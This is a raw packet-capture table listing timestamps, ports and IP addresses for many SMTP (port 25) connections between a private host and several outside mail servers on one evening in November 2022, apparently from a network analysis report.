Nov 7, 2022 22:24:40.747998953 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748028040 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748055935 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748116970 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748136997 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748167038 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748187065 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748215914 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748317957 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748349905 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748408079 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748437881 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748645067 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748680115 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748717070 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748747110 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748778105 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748806953 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748836040 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.748864889 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749008894 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749039888 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749069929 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749100924 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749130011 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749159098 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749186993 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749217033 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749245882 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749360085 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749392033 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749419928 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749449015 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749478102 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749506950 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749536037 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749640942 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749670982 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749700069 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749732971 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749763012 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749792099 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749883890 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749913931 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749943972 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.749973059 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750003099 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750086069 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750117064 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750147104 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750174046 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750241995 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750273943 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750303030 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.750458002 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.777599096 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.783866882 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.793256998 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.793281078 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.793340921 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.798585892 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:40.818273067 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:40.818551064 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:40.828020096 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.842792988 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:40.852516890 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:40.852624893 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:40.861525059 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.861681938 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.904179096 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.908122063 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:40.938218117 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:40.960155010 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:40.960237026 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.979526997 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.992213964 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:40.995304108 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.000539064 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.012958050 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.024518013 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.024782896 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.055068016 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.062706947 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.064886093 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.066452980 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.066641092 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.101466894 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.105303049 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.105494976 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:41.124185085 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.148541927 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.148613930 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.148686886 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:41.148725033 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.160481930 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.160587072 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.182282925 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:41.219027996 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.219254017 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.251173973 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.251419067 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.251852989 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.251983881 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.278109074 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.278156996 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.278310061 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.284956932 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.293096066 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.293312073 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.296243906 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.305958986 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.306540966 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.329864979 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.329916000 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.329935074 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.329957962 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.329979897 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.330113888 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.330204964 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.334678888 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.335663080 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.337402105 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.347722054 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:41.352526903 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.352615118 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:41.353744030 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.363662958 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363715887 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363739967 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363763094 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363787889 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363800049 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363804102 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363828897 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363856077 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363878965 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363889933 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363889933 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363889933 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363900900 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363926888 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363935947 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363935947 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363950014 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363970995 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.363974094 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363996029 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.363998890 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364022970 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364052057 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364095926 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.364119053 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.364144087 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364144087 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.364164114 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364166975 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.364182949 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.364209890 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.369210005 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.369256020 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.369323015 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397512913 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397555113 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397578001 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397598028 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397618055 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397650957 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397660971 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397685051 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397726059 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397726059 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397758007 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397789001 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397809982 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397867918 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397871971 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397893906 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397912979 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397932053 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397948980 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397964954 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.397972107 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397972107 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.397999048 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398000002 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398015022 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398036003 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398040056 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398061037 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398078918 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398083925 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398099899 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398103952 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398118973 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398134947 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398139000 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398166895 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398186922 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398186922 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398264885 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398286104 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398314953 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398343086 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398367882 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398387909 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398407936 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398412943 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398427010 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398447990 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398459911 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398459911 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398467064 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398484945 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398488045 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398500919 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398518085 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398538113 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398542881 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398562908 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398612022 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398617983 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398659945 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398662090 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398679018 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.398704052 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.398742914 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.402832031 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.402868032 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.402918100 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.402939081 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.403032064 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.403032064 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.411175013 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.411304951 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.412749052 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.431206942 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431240082 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431255102 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431351900 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431410074 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431437969 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431453943 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431464911 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431488037 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431504011 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431531906 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431545973 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431602955 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431664944 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431720972 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431782007 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431818008 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431873083 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431874990 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431945086 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.431946993 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431960106 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.431973934 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432017088 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432028055 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432037115 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432044029 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432060003 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432094097 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432105064 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432126045 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432130098 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432147026 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432147026 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432185888 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432188034 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432203054 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432205915 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432219028 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432231903 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432236910 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432261944 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432266951 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432282925 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432288885 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432318926 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432353973 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432358027 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432374954 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432411909 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432425976 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432432890 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432463884 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432504892 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432514906 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432529926 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432543993 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432560921 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432574987 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432589054 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432600975 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432614088 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432629108 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432698965 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432729959 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432832003 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432847023 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432859898 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432873011 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432885885 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432890892 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432903051 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432918072 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432931900 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432935953 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.432986975 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.432987928 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.433001041 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433012009 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.433015108 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433029890 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433037996 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.433068037 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433089972 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.433121920 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433159113 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433163881 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.433172941 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433187962 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433201075 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433214903 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433228016 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433360100 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433372974 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433387041 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433399916 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433413982 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433425903 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433459997 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433533907 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433547020 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433582067 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433594942 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433610916 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.433617115 CET	49784	25	192.168.2.5	217.69.139.150
